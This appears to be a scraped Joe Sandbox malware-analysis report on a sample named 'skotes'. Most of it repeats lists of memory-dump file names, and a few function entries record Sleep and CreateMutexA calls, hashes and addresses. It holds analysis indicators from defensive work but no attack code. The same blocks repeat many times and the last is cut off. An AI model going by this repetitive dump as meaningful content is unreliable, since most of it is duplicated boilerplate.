Associated: 00000003.00000002.2103920352.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103949861.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103976787.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104018697.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104045714.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104072832.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104105450.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104134346.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104159021.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104159021.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104220255.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104246444.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104272295.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104302213.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104324224.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104352368.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104379440.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: bcd52aadb23c6f1db8b723b95a0b3809543e55035f9bca89e4f81c388e6954af
Instruction ID: 97bd35d2c3783542aa837ce0237a6d3fa4ee56be5998d6ba4545dc0ad5a3312e
Opcode Fuzzy Hash: bcd52aadb23c6f1db8b723b95a0b3809543e55035f9bca89e4f81c388e6954af
Instruction Fuzzy Hash: B13119716402089BEB18EB78D98DB7DBB66FFC1314F204218E1189B3D6D7B959808757

Function 005FA54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000003.00000002.2102603392.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000003.00000002.2102569737.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102603392.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102704428.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102738181.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102776396.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102807487.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102843660.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103036869.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103075698.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103113083.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103149946.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103185441.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103185441.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103263519.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103297187.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103336319.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103371707.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103405525.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103440275.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103480176.0000000000812000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103521503.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103559883.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103601025.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103655675.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103679609.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103713007.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103745339.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103794774.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103869572.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103896428.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103920352.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103949861.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103976787.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104018697.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104045714.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104072832.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104105450.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104134346.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104159021.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104159021.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104220255.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104246444.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104272295.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104302213.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104324224.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104352368.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104379440.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: a3166abb407409326978cd0268937fbb156eddb747f251fd52aeefaea13134f1
Instruction ID: c6e7604ab6c508fe3a46c658db337129ca4f91ba6ab341262fe006063f92d24e
Opcode Fuzzy Hash: a3166abb407409326978cd0268937fbb156eddb747f251fd52aeefaea13134f1
Instruction Fuzzy Hash: CF310B716401088BEB18EB78DD8977DBB62FFC5318F244618E518973D6CB7999808717

Function 005FA682 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000003.00000002.2102603392.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000003.00000002.2102569737.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102603392.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102704428.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102738181.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102776396.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102807487.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102843660.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103036869.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103075698.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103113083.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103149946.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103185441.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103185441.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103263519.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103297187.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103336319.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103371707.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103405525.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103440275.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103480176.0000000000812000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103521503.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103559883.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103601025.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103655675.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103679609.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103713007.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103745339.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103794774.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103869572.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103896428.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103920352.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103949861.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103976787.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104018697.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104045714.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104072832.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104105450.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104134346.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104159021.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104159021.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104220255.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104246444.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104272295.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104302213.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104324224.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104352368.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104379440.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: e9bb46a02bbf28a7b7ad15309dcd15b13eafd8c4110c7c82a4f20fd3c54648e1
Instruction ID: 1fa66be509d771b6e19c8e4cbd3d8fb50c24885b0fe8ba1eebf509a94dccc2f2
Opcode Fuzzy Hash: e9bb46a02bbf28a7b7ad15309dcd15b13eafd8c4110c7c82a4f20fd3c54648e1
Instruction Fuzzy Hash: 943128B16002088BEB18EB78DE89B7DBB72EBC5314F248618E518DB3D6C77959808757

Function 005F9ADC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000003.00000002.2102603392.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000003.00000002.2102569737.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102603392.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102704428.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102738181.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102776396.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102807487.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102843660.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103036869.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103075698.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103113083.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103149946.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103185441.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103185441.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103263519.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103297187.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103336319.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103371707.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103405525.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103440275.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103480176.0000000000812000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103521503.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103559883.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103601025.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103655675.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103679609.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103713007.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103745339.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103794774.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103869572.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103896428.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103920352.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103949861.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103976787.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104018697.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104045714.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104072832.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104105450.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104134346.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104159021.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104159021.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104220255.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104246444.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104272295.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104302213.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104324224.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104352368.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104379440.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: 2481bacdd7f5f90fad1467f7d40316cfab342bbea0dd95bf35279950234fd258
Instruction ID: 755c99af6a76081aef65a2f791b4da6e6eb9574d4f28b3d51287cfcfbf5bc0be
Opcode Fuzzy Hash: 2481bacdd7f5f90fad1467f7d40316cfab342bbea0dd95bf35279950234fd258
Instruction Fuzzy Hash: 59213A716446049BEB18AF68EDC9B7DBB62FBC1314F204229E518873D5CBBA59808712

Function 005FA856 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000003.00000002.2102603392.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000003.00000002.2102569737.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102603392.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102704428.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102738181.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102776396.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102807487.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102843660.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103036869.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103075698.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103113083.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103149946.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103185441.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103185441.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103263519.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103297187.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103336319.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103371707.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103405525.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103440275.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103480176.0000000000812000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103521503.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103559883.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103601025.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103655675.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103679609.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103713007.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103745339.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103794774.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103869572.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103896428.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103920352.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103949861.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103976787.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104018697.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104045714.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104072832.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104105450.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104134346.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104159021.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104159021.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104220255.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104246444.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104272295.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104302213.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104324224.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104352368.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104379440.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2e
API String ID: 1464230837-1146920664
Opcode ID: aca241e32cf53ceba9439bb013169ca2e3cab78b87456dbdc303a6e384f42f6e
Instruction ID: 96b5d13aad01512601d33a186ca9c8c2e2b0893aa77eb7d14b241418ad9ce66b
Opcode Fuzzy Hash: aca241e32cf53ceba9439bb013169ca2e3cab78b87456dbdc303a6e384f42f6e
Instruction Fuzzy Hash: D9212BB128420E9AE72467A8998A73DBF13FFC5744F240816E74CD72D6CABE49818253

Function 005FA34F Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(00000064), ref: 005FA963
CreateMutexA.KERNELBASE(00000000,00000000,00653254), ref: 005FA981

Strings

T2e, xrefs: 005FA970

Memory Dump Source

Source File: 00000003.00000002.2102603392.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000003.00000002.2102569737.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102603392.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102704428.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102738181.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102776396.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102807487.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2102843660.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103036869.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103075698.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103113083.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103149946.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103185441.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103185441.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103263519.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103297187.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103336319.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103371707.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103405525.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103440275.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103480176.0000000000812000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103521503.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103559883.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103601025.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103655675.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103679609.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103713007.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103745339.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103794774.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103869572.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103896428.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103920352.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103949861.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2103976787.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104018697.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104045714.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104072832.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2104105450.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
